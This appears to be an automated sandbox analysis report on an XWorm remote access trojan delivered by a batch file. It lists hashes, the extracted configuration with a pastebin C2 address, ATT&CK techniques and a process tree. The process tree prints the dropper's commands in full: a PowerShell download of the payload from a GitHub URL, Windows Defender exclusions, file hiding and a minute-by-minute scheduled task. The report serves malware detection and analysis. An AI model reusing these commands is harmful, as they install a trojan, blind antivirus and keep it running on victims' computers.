xworm | ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
02/03/2025, 21:26

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General

Target

Main.bat
Size

458B
MD5

7fe7990fe96629419bef8f2b22415163
SHA1

a147bd40dd7a0465bbce96282af8d3cb1a11b57d
SHA256

ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768
SHA512

5d8d925e133e7cc33cdb154cc596c40be7e1d8e9438e640f6e3128ba50b1ad1af5ebde614edfa54d45de436168949e08b1deec0b983b7314dc407f595b709754

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

sSk9v0A6er9oWjcu

Attributes

Install_directory
%AppData%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/6EU9ps8S

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023bae-33.dat	family_xworm
behavioral2/memory/2884-35-0x0000000000730000-0x0000000000758000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4120	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3788	powershell.exe
428	powershell.exe
2728	powershell.exe
3956	powershell.exe
4800	powershell.exe
4120	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	4120	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	main.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe

Executes dropped EXE 3 IoCs

pid	Process
2884	main.exe
4636	svchost.exe
4688	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
29	pastebin.com
30	pastebin.com
4	raw.githubusercontent.com
7	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
3788	powershell.exe
3788	powershell.exe
428	powershell.exe
428	powershell.exe
2728	powershell.exe
2728	powershell.exe
3956	powershell.exe
3956	powershell.exe
4800	powershell.exe
4800	powershell.exe
2884	main.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	2884	main.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	2884	main.exe
Token: SeDebugPrivilege	4636	svchost.exe
Token: SeDebugPrivilege	4688	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2884	main.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 4120	4436	cmd.exe	86
PID 4436 wrote to memory of 4120	4436	cmd.exe	86
PID 4436 wrote to memory of 3788	4436	cmd.exe	90
PID 4436 wrote to memory of 3788	4436	cmd.exe	90
PID 4436 wrote to memory of 2952	4436	cmd.exe	91
PID 4436 wrote to memory of 2952	4436	cmd.exe	91
PID 4436 wrote to memory of 2884	4436	cmd.exe	92
PID 4436 wrote to memory of 2884	4436	cmd.exe	92
PID 2884 wrote to memory of 428	2884	main.exe	93
PID 2884 wrote to memory of 428	2884	main.exe	93
PID 2884 wrote to memory of 2728	2884	main.exe	95
PID 2884 wrote to memory of 2728	2884	main.exe	95
PID 2884 wrote to memory of 3956	2884	main.exe	99
PID 2884 wrote to memory of 3956	2884	main.exe	99
PID 2884 wrote to memory of 4800	2884	main.exe	102
PID 2884 wrote to memory of 4800	2884	main.exe	102
PID 2884 wrote to memory of 4492	2884	main.exe	105
PID 2884 wrote to memory of 4492	2884	main.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2952	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/udx177/Main/refs/heads/main/main.exe -OutFile C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\main.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3788
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Views/modifies file attributes
  PID:2952
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4492

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4636

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ad63a78e28d24892a363d44b7ebdab21

SHA1
97765aff072ad8e8c0b0e465b57788c2e7ea6935

SHA256
e5f5c2a37d7117cace730eaddbee0e92d8db21f6afe9cb5a4d3f84cd3733b630

SHA512
ae92e63f00082bce3f18918b4918a5f8dc1720b6464e0e927576f462c4a73b3e8af7211031e4368b74142756a920396d6e42a24c0969550346525ea5f0617f50

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e3161f4edbc9b963debe22e29658050b

SHA1
45dbf88dadafe5dd1cfee1e987c8a219d3208cdb

SHA256
1359d6daeaed2f254b162914203c891b23139cc236a3bf75c2dfcbe26265c84a

SHA512
006ffb8f37d1f77f8ee79b22ffa413819f565d62773c632b70985759572121c6ab4743139d16d885f8c0ff9d0e0b136686741728b3e142ee54aea3bb733dffb2

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
15dde0683cd1ca19785d7262f554ba93

SHA1
d039c577e438546d10ac64837b05da480d06bf69

SHA256
d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

SHA512
57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6f3b96b24f06e2d37a46e43e8b784f56

SHA1
7be6702c5867f359e913eeeecdd5b76698589295

SHA256
8e386afeed28e1d282d9a0294dd2e9402dcb807f7c77aca8426314c20057e720

SHA512
d760999531a77a9adf2b4dc019ce3b43ac3a8cad825398b3a09818afe8deaa177d37219a26dd8a432c00c9cff7858efc43cae2375edc996bb0136c92c39c9dfb

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hsoe53cw.nov.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\main.exe

Filesize
137KB

MD5
57b5cb85b2b1f1a47106577864c6d0ac

SHA1
8b2c814f07c643a0e84b918c9f927fcd796409dd

SHA256
0bb30d453bca585126df4a0bd3aaa1ef8b8f7bbf6cf894f2caa6b23f2d5697b7

SHA512
f12e9763e51ae95b4a184c989953693f2bb9c3959d9d69d1164b782c54253b0df4a063b767eb818f1b32f39dfe2ef052cb0ee3d5881345fe30f320d0f857f0be

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memory/2884-35-0x0000000000730000-0x0000000000758000-memory.dmp

Filesize
160KB

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memory/3788-30-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/3788-32-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/3788-29-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/3788-18-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/4120-0-0x00007FFCE4C93000-0x00007FFCE4C95000-memory.dmp

Filesize
8KB

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memory/4120-16-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/4120-12-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/4120-11-0x00007FFCE4C90000-0x00007FFCE5751000-memory.dmp

Filesize
10.8MB

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memory/4120-6-0x000001B41F120000-0x000001B41F142000-memory.dmp

Filesize
136KB

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memory/4800-80-0x0000020FEBF70000-0x0000020FEC18C000-memory.dmp

Filesize
2.1MB

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